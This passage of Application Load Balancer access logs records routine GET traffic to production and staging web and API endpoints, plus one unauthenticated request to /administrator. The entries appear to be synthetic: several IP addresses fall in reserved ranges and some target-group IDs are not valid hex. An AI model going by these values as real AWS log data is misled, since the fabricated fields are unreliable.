"forward" "-" "-" "230.80.3.80:443" "302" "-" "-" +https 2024-11-01T02:00:52.054775Z prod-web-alb 31.11.134.20:45826 10.0.22.148:443 0.018194 0.168231 0.060062 200 200 516 13292 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3e4-f5f24521d02b481396c9c098" "prod-web-alb.example.com" "-" 1 2024-11-01T02:00:52.054775Z "forward" "-" "-" "10.0.22.148:443" "200" "-" "-" +https 2024-11-01T02:00:52.742315Z staging-alb 195.174.38.43:19693 196.126.52.176:8080 0.027058 0.525251 0.006072 301 301 196 8976 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3e4-4ef19a42c0b4453bbb52da21" "-" "-" 7 2024-11-01T02:00:52.742315Z "forward" "-" "-" "196.126.52.176:8080" "301" "-" "-" +https 2024-11-01T02:00:53.831762Z prod-api-alb 222.21.67.57:27940 10.0.1.51:443 0.094056 0.268095 0.088926 200 200 886 2955 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3e5-5fc57bd2f7b54446b9fa418d" "prod-api-alb.example.com" "-" 4 2024-11-01T02:00:53.831762Z "forward" "-" "-" "10.0.1.51:443" "200" "-" "-" +https 2024-11-01T02:00:54.007593Z prod-web-alb 153.151.172.190:32277 10.0.37.97:443 0.094878 0.126111 0.091552 302 302 176 11150 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3e6-b78d02cb20d540c8817f3c28" "prod-web-alb.example.com" "-" 4 2024-11-01T02:00:54.007593Z "forward" "-" "-" "10.0.37.97:443" "302" "-" "-" +https 2024-11-01T02:00:54.956071Z prod-web-alb 135.121.231.147:29716 10.0.56.154:443 0.009491 0.229855 0.043077 200 200 507 7125 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3e6-bc738d7e93ee494aac3e0ffe" "prod-web-alb.example.com" "-" 2 2024-11-01T02:00:54.956071Z "forward" "-" "-" "10.0.56.154:443" "200" "-" "-" +http 2024-11-01T02:00:56.355208Z staging-alb 102.162.155.198:47410 110.244.101.54:443 0.048146 0.593800 0.052428 200 200 87 1190 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3e8-c3a11c97d349432abd678c3c" "staging-alb.example.com" "-" 8 2024-11-01T02:00:56.355208Z "forward" "-" "-" "110.244.101.54:443" "200" "-" "-" +https 2024-11-01T02:00:57.486170Z staging-alb 159.185.87.194:62391 186.45.50.200:443 0.091052 0.300058 0.026775 302 302 660 8312 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3e9-bb38b81bb7714717adf8d46c" "staging-alb.example.com" "-" 10 2024-11-01T02:00:57.486170Z "forward" "-" "-" "186.45.50.200:443" "302" "-" "-" +https 2024-11-01T02:00:57.884283Z staging-alb 176.4.15.202:12083 73.34.244.136:443 0.101274 0.489841 0.044140 200 200 170 241 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3e9-0310fe5bc83a43458897494b" "staging-alb.example.com" "-" 9 2024-11-01T02:00:57.884283Z "forward" "-" "-" "73.34.244.136:443" "200" "-" "-" +https 2024-11-01T02:00:59.253284Z prod-web-alb 131.153.196.74:11023 10.0.41.45:443 0.026635 0.405237 0.043490 200 200 896 10776 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3eb-230ca097c6de48058f0bbd19" "prod-web-alb.example.com" "-" 3 2024-11-01T02:00:59.253284Z "forward" "-" "-" "10.0.41.45:443" "200" "-" "-" +https 2024-11-01T02:01:00.724131Z staging-alb 213.154.203.107:57539 180.243.59.48:8080 0.043239 0.052603 0.053891 200 200 854 750 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3ec-dda8267c10d94795acf91627" "staging-alb.example.com" "-" 7 2024-11-01T02:01:00.724131Z "forward" "-" "-" "180.243.59.48:8080" "200" "-" "-" +https 2024-11-01T02:01:02.700185Z prod-api-alb 189.45.218.248:14379 10.0.47.84:443 0.081193 0.336040 0.024716 404 404 236 6173 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3ee-3e3d55af992848e29e974fa6" "prod-api-alb.example.com" "-" 3 2024-11-01T02:01:02.700185Z "forward" "-" "-" "10.0.47.84:443" "404" "-" "-" +https 2024-11-01T02:01:04.589890Z prod-web-alb 30.126.133.211:63313 10.0.250.22:443 0.076832 0.096552 0.024673 200 200 456 3394 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3f0-7a858c4ac8ab479d93b0552d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:01:04.589890Z "forward" "-" "-" "10.0.250.22:443" "200" "-" "-" +https 2024-11-01T02:01:05.042577Z staging-alb 121.107.35.28:64953 72.67.148.160:80 0.129981 0.383418 0.090857 301 301 929 12509 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3f1-a53b8394c0c94ec7935ce944" "staging-alb.example.com" "-" 4 2024-11-01T02:01:05.042577Z "forward" "-" "-" "72.67.148.160:80" "301" "-" "-" +https 2024-11-01T02:01:05.961611Z staging-alb 103.114.19.178:35390 167.135.156.157:443 0.034085 0.136255 0.024893 200 200 7 6415 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3f1-d94ce2947d184dfb92b51d5d" "staging-alb.example.com" "-" 7 2024-11-01T02:01:05.961611Z "forward" "-" "-" "167.135.156.157:443" "200" "-" "-" +https 2024-11-01T02:01:06.399390Z prod-api-alb 218.117.115.191:49039 10.0.79.246:443 0.013438 0.389632 0.037011 200 200 820 9639 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3f2-93190f075382418eb35d2216" "prod-api-alb.example.com" "-" 9 2024-11-01T02:01:06.399390Z "forward" "-" "-" "10.0.79.246:443" "200" "-" "-" +https 2024-11-01T02:01:06.706324Z prod-api-alb 126.251.199.56:23517 10.0.131.71:443 0.033430 0.367166 0.014305 200 200 998 7833 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d3f2-10a59696387d4a2390f54acf" "prod-api-alb.example.com" "-" 7 2024-11-01T02:01:06.706324Z "forward" "-" "-" "10.0.131.71:443" "200" "-" "-" +https 2024-11-01T02:01:07.180414Z prod-web-alb 118.48.184.83:40556 10.0.222.75:443 0.055727 0.366353 0.090638 200 200 678 13154 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3f3-f99a3a25ebc646348c52a366" "prod-web-alb.example.com" "-" 7 2024-11-01T02:01:07.180414Z "forward" "-" "-" "10.0.222.75:443" "200" "-" "-" +https 2024-11-01T02:01:09.003111Z prod-web-alb 233.127.5.13:60505 10.0.54.186:443 0.070651 0.476224 0.081242 302 302 899 7275 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3f5-3537209fc09345cb89888870" "prod-web-alb.example.com" "-" 7 2024-11-01T02:01:09.003111Z "forward" "-" "-" "10.0.54.186:443" "302" "-" "-" +http 2024-11-01T02:01:10.548553Z staging-alb 211.11.151.114:54880 200.115.79.185:80 0.144849 0.500937 0.135888 301 301 673 4649 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3f6-b276c6391cd3468cb8542396" "staging-alb.example.com" "-" 1 2024-11-01T02:01:10.548553Z "forward" "-" "-" "200.115.79.185:80" "301" "-" "-" +https 2024-11-01T02:01:11.954836Z prod-api-alb 119.186.25.214:49335 10.0.123.90:443 0.067265 0.438970 0.073399 200 200 139 4821 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3f7-fca8c13433904413b462ead7" "prod-api-alb.example.com" "-" 2 2024-11-01T02:01:11.954836Z "forward" "-" "-" "10.0.123.90:443" "200" "-" "-" +http 2024-11-01T02:01:12.419495Z staging-alb 15.55.83.77:22472 222.166.187.136:8080 0.128894 0.413202 0.077490 404 404 401 945 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3f8-485eace586d44dbb84248cdc" "staging-alb.example.com" "-" 6 2024-11-01T02:01:12.419495Z "forward" "-" "-" "222.166.187.136:8080" "404" "-" "-" +https 2024-11-01T02:01:13.448098Z staging-alb 249.96.122.179:26091 222.8.4.94:80 0.047497 0.662288 0.040747 302 302 639 5067 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d3f9-7dc9e1cbfe594c28a0927dc2" "staging-alb.example.com" "-" 0 2024-11-01T02:01:13.448098Z "forward" "-" "-" "222.8.4.94:80" "302" "-" "-" +https 2024-11-01T02:01:15.318590Z prod-api-alb 215.23.131.246:64225 10.0.243.231:443 0.072549 0.045563 0.059157 200 200 990 2383 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d3fb-b86bf21ebc5b431e9aa939d7" "prod-api-alb.example.com" "-" 1 2024-11-01T02:01:15.318590Z "forward" "-" "-" "10.0.243.231:443" "200" "-" "-" +https 2024-11-01T02:01:16.351796Z prod-web-alb 211.71.23.88:63402 10.0.15.40:443 0.034997 0.489735 0.031302 302 302 547 13126 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d3fc-50ee0efdbf6c4c01b0f5f603" "prod-web-alb.example.com" "-" 8 2024-11-01T02:01:16.351796Z "forward" "-" "-" "10.0.15.40:443" "302" "-" "-" +https 2024-11-01T02:01:16.644575Z staging-alb 238.136.220.99:30136 248.137.169.6:80 0.126680 0.232127 0.103114 200 200 464 2090 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3fc-6f278495fdc14ea98824aac3" "-" "-" 0 2024-11-01T02:01:16.644575Z "forward" "-" "-" "248.137.169.6:80" "200" "-" "-" +https 2024-11-01T02:01:17.504390Z prod-web-alb 157.69.97.157:54455 10.0.38.238:443 0.084444 0.363226 0.035225 200 200 630 9130 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d3fd-ae1fba5442224c52960c4a5a" "prod-web-alb.example.com" "-" 10 2024-11-01T02:01:17.504390Z "forward" "-" "-" "10.0.38.238:443" "200" "-" "-" +http 2024-11-01T02:01:18.287781Z staging-alb 104.35.204.255:61769 30.134.82.139:8080 0.035586 0.458107 0.034722 404 404 677 1528 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3fe-76ba3a1d63e34b77be56306f" "staging-alb.example.com" "-" 10 2024-11-01T02:01:18.287781Z "forward" "-" "-" "30.134.82.139:8080" "404" "-" "-" +http 2024-11-01T02:01:19.875731Z staging-alb 113.17.209.218:47130 209.95.89.140:8080 0.106534 0.128596 0.064539 302 302 399 6119 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d3ff-93eccf55175c4ce6b20bb611" "staging-alb.example.com" "-" 3 2024-11-01T02:01:19.875731Z "forward" "-" "-" "209.95.89.140:8080" "302" "-" "-" +https 2024-11-01T02:01:21.140145Z prod-api-alb 187.131.97.224:17731 10.0.25.66:443 0.093012 0.337915 0.065856 404 404 212 5478 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d401-b37916af7fcb4c438e30576a" "prod-api-alb.example.com" "-" 2 2024-11-01T02:01:21.140145Z "forward" "-" "-" "10.0.25.66:443" "404" "-" "-" +https 2024-11-01T02:01:21.472199Z prod-web-alb 212.126.253.185:41800 10.0.99.54:443 0.043464 0.480039 0.025385 200 200 631 8265 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d401-0bc9785998ed44468f1fd4bf" "prod-web-alb.example.com" "-" 2 2024-11-01T02:01:21.472199Z "forward" "-" "-" "10.0.99.54:443" "200" "-" "-" +https 2024-11-01T02:01:22.417295Z prod-web-alb 69.52.224.192:48106 10.0.194.1:443 0.026618 0.380819 0.022825 200 200 163 13948 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d402-8f7b7b75497b45a7b54c1628" "prod-web-alb.example.com" "-" 3 2024-11-01T02:01:22.417295Z "forward" "-" "-" "10.0.194.1:443" "200" "-" "-" +https 2024-11-01T02:01:23.217841Z staging-alb 22.114.25.69:23692 251.211.73.194:80 0.054680 0.287551 0.051575 301 301 110 7399 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d403-6b4c9ca44cb34b4aa78488e1" "staging-alb.example.com" "-" 2 2024-11-01T02:01:23.217841Z "forward" "-" "-" "251.211.73.194:80" "301" "-" "-" +https 2024-11-01T02:01:24.708022Z prod-web-alb 77.125.63.153:14900 10.0.103.223:443 0.067771 0.131816 0.030513 200 200 451 9391 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d404-9d3ff488e43d485aab19d687" "prod-web-alb.example.com" "-" 3 2024-11-01T02:01:24.708022Z "forward" "-" "-" "10.0.103.223:443" "200" "-" "-" +https 2024-11-01T02:01:25.529497Z staging-alb 173.87.204.151:23615 115.69.214.17:443 0.064800 0.189360 0.009537 404 404 939 10742 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d405-fa3e5de42ec34bf9b0f2a305" "staging-alb.example.com" "-" 4 2024-11-01T02:01:25.529497Z "forward" "-" "-" "115.69.214.17:443" "404" "-" "-" +https 2024-11-01T02:01:25.959301Z prod-web-alb 184.41.18.205:30893 10.0.153.30:443 0.067238 0.206874 0.082418 200 200 32 11294 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d405-3bd33838c9f44a20831a132e" "prod-web-alb.example.com" "-" 6 2024-11-01T02:01:25.959301Z "forward" "-" "-" "10.0.153.30:443" "200" "-" "-" +https 2024-11-01T02:01:26.436646Z prod-web-alb 113.206.184.125:12779 10.0.253.222:443 0.045613 0.139716 0.052986 404 404 778 13165 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d406-35472be14c3843938e782f6d" "prod-web-alb.example.com" "-" 4 2024-11-01T02:01:26.436646Z "forward" "-" "-" "10.0.253.222:443" "404" "-" "-" +https 2024-11-01T02:01:27.702098Z prod-api-alb 195.199.136.187:43243 10.0.251.158:443 0.015430 0.015786 0.007548 404 404 69 1416 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d407-dbd8bc6b68004d35861e470a" "prod-api-alb.example.com" "-" 3 2024-11-01T02:01:27.702098Z "forward" "-" "-" "10.0.251.158:443" "404" "-" "-" +https 2024-11-01T02:01:28.245516Z prod-web-alb 247.50.140.11:19204 10.0.97.79:443 0.095957 0.232378 0.033427 302 302 785 13745 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d408-8f737cf7838e420eb337b671" "prod-web-alb.example.com" "-" 4 2024-11-01T02:01:28.245516Z "forward" "-" "-" "10.0.97.79:443" "302" "-" "-" +https 2024-11-01T02:01:28.375885Z prod-web-alb 220.31.95.222:19307 10.0.137.244:443 0.030446 0.074324 0.058059 302 302 198 1344 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d408-97b31ec283004a0c98d22174" "prod-web-alb.example.com" "-" 2 2024-11-01T02:01:28.375885Z "forward" "-" "-" "10.0.137.244:443" "302" "-" "-" +https 2024-11-01T02:01:29.735046Z prod-web-alb 87.126.76.238:56811 10.0.21.155:443 0.001868 0.370809 0.068164 200 200 320 6693 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d409-962ce00b7a3b4579a1ab0edf" "prod-web-alb.example.com" "-" 3 2024-11-01T02:01:29.735046Z "forward" "-" "-" "10.0.21.155:443" "200" "-" "-" +https 2024-11-01T02:01:30.694411Z prod-web-alb 193.27.228.247:24388 10.0.134.12:443 0.085239 0.131581 0.058252 401 401 587 9687 "GET /administrator HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d40a-8c3e6d1b3200482aa5d48eb8" "-" "-" 5 2024-11-01T02:01:30.694411Z "forward" "-" "-" "10.0.134.12:443" "401" "-" "-" +https 2024-11-01T02:01:30.924391Z prod-web-alb 236.129.203.82:56688 10.0.171.207:443 0.069216 0.467491 0.050183 200 200 515 672 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d40a-c830285a347e476483b74def" "prod-web-alb.example.com" "-" 6 2024-11-01T02:01:30.924391Z "forward" "-" "-" "10.0.171.207:443" "200" "-" "-" +https 2024-11-01T02:01:31.590151Z prod-api-alb 210.219.183.141:27040 10.0.218.84:443 0.006766 0.330355 0.024746 200 200 172 10615 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d40b-69472594cf874de3860ec818" "prod-api-alb.example.com" "-" 8 2024-11-01T02:01:31.590151Z "forward" "-" "-" "10.0.218.84:443" "200" "-" "-" +https 2024-11-01T02:01:32.064215Z prod-api-alb 91.220.197.233:41610 10.0.242.218:443 0.046613 0.488928 0.038248 302 302 529 9511 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d40c-e0e633e4e4be4940a6b555c5" "prod-api-alb.example.com" "-" 8 2024-11-01T02:01:32.064215Z "forward" "-" "-" "10.0.242.218:443" "302" "-" "-" +https 2024-11-01T02:01:32.596422Z prod-web-alb 123.44.47.176:31975 10.0.219.9:443 0.050627 0.423434 0.072150 200 200 171 1217 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d40c-1342288271ca42ca9566bad7" "prod-web-alb.example.com" "-" 9 2024-11-01T02:01:32.596422Z "forward" "-" "-" "10.0.219.9:443" "200" "-" "-" +https 2024-11-01T02:01:33.252444Z staging-alb 148.113.163.176:16877 243.33.113.117:80 0.102023 0.598050 0.119846 302 302 360 445 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d40d-43e6a39e303c4f73b12c3568" "staging-alb.example.com" "-" 1 2024-11-01T02:01:33.252444Z "forward" "-" "-" "243.33.113.117:80" "302" "-" "-" +https 2024-11-01T02:01:34.863754Z prod-web-alb 192.250.6.52:13562 10.0.117.140:443 0.057456 0.469284 0.037197 200 200 616 10689 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d40e-954c890bb7904d5dac77d741" "prod-web-alb.example.com" "-" 9 2024-11-01T02:01:34.863754Z "forward" "-" "-" "10.0.117.140:443" "200" "-" "-" +https 2024-11-01T02:01:36.345107Z prod-api-alb 253.93.173.89:19409 10.0.224.158:443 0.044542 0.312805 